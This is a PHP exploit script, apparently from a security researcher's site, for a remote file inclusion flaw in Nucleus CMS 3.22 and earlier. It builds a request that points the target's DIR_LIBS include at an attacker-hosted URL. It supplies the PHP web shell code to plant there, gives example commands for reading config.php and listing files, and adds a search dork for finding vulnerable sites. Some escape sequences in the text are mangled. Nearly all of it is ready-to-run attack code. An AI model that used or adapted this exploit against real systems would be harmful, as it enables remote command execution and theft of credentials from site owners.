#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Nucleus <= 3.22 arbitrary remote inclusion exploitrn";
echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";
echo "site: http://retrogod.altervista.orgrnrn";
echo "this is called the "deadly eyes of Sun-tzu"rn";
echo "dork: Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to toprnrn";
/*
works with:
register_globals=Om
allow_url_fopen=Om
*/
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location cmd OPTIONSrn";
echo "host: target server (ip/hostname)rn";
echo "path: path to Nucleusrn";
echo "location: an arbitrary location with the code to includern";
echo "cmd: a shell commandrn";
echo "Options:rn";
echo " -p[port]: specify a port other than 80rn";
echo " -P[ip:port]: specify a proxyrn";
echo "Examples:rn";
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ cat ./../../config.phprn";
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ ls -la -p81rn";
echo "php ".$argv[0]." localhost / http://somehost.com/ ls -la -P1.1.1.1:80rnrn";
echo "note, you need this code in http://somehost.com/ADMIN.php/index.htmlrn";
echo "<?phprn";
echo "if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["c
md"]);}rn";
echo "ini_set("max_execution_time",0);rn";
echo "echo "*delim*";rn";
echo "passthru($_REQUEST["cmd"]);rn";
echo "echo "*delim*";rn";
echo "?>rn";
die;
}
/* software site: http://nucleuscms.org/
i) vulnerable code in nucleus/libs/PLUGINADMIN.php at lines 21-49:
...
global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_ENV_VARS, $HTTP_POST_FILES, $HTTP_SESSION_VARS;
$aVarsToCheck = array('DIR_LIBS');
foreach ($aVarsToCheck as $varName)
{
if (phpversion() >= '4.1.0')
{
if ( isset($_GET[$varName])
|| isset($_POST[$varName])
|| isset($_COOKIE[$varName])
|| isset($_ENV[$varName])
|| isset($_SESSION[$varName])
|| isset($_FILES[$varName])
){
die('Sorry. An error occurred.');
}
} else {
if ( isset($HTTP_GET_VARS[$varName])
|| isset($HTTP_POST_VARS[$varName])
|| isset($HTTP_COOKIE_VARS[$varName])
|| isset($HTTP_ENV_VARS[$varName])
|| isset($HTTP_SESSION_VARS[$varName])
|| isset($HTTP_POST_FILES[$varName])
){
die('Sorry. An error occurred.');
}
}
}
include($DIR_LIBS . 'ADMIN.php');
...
so, if register_globals = On and allow_url_fopen = On, we have arbitrary remote inclusion, poc:
http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[D
IR_LIBS]=http://somehost.com/&cmd=ls%20-la
where on somehost.com we have some php code in
http://somehost.com/ADMIN.php/index.html
also, if register_globals = On & magic_quotes_gpc = Off:
http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[D
IR_LIBS]=/var/log/httpd/access_log%00&cmd=ls%20-la
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
$host=$argv[1];
$path=$argv[2];
$loc=urlencode($argv[3]);
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slashrn");}
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];
}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}
$packet ="GET ".$p."nucleus/libs/PLUGINADMIN.php HTTP/1.0rn";
$packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)rn";
$packet.="Host: ".$host."rn";
//through cookies, it's the same, maybe can bypass some ids...
$packet.="Cookie: GLOBALS[DIR_LIBS]=".$loc."; cmd=".$cmd.";rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (strstr($html,"*delim*"))
{
echo "Exploit succeeded...";
$temp=explode("*delim*",$html);
die("rn".$temp[1]."rn");
}
//if you are here...
echo "Exploit failed...rn";
?>
original url: http://retrogod.altervista.org/nucleus_322_incl_xpl.html
